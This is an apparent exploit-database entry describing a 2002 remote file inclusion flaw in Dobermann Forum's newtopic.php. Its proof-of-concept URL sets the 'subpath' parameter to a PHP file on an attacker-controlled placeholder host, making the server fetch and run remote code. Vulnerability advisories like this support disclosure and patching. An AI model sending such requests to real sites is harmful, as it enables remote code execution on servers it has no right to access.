Benjamin Lefevre Dobermann Forum 0.x - newtopic.php?subpath Remote File Inclusion

2002-10-28T00:00:00
ID EXPLOITPACK:031364049C4658ADB42FE77C3327D969
Type exploitpack
Reporter frog
Modified 2002-10-28T00:00:00

Description

Benjamin Lefevre Dobermann Forum 0.x - newtopic.php?subpath Remote File Inclusion

                                        
                                            source: https://www.securityfocus.com/bid/6057/info
   
Dobermann Forum is prone to an issue which may allow remote attackers to include arbitrary files located on remote servers. This issue is present in several PHP script files provided with Dobermann. An attacker may exploit this by supplying a path to a file on a remote host as a value for the 'subpath' parameter.

http://[target]/newtopic.php?subpath=http://[attacker]/banniere.php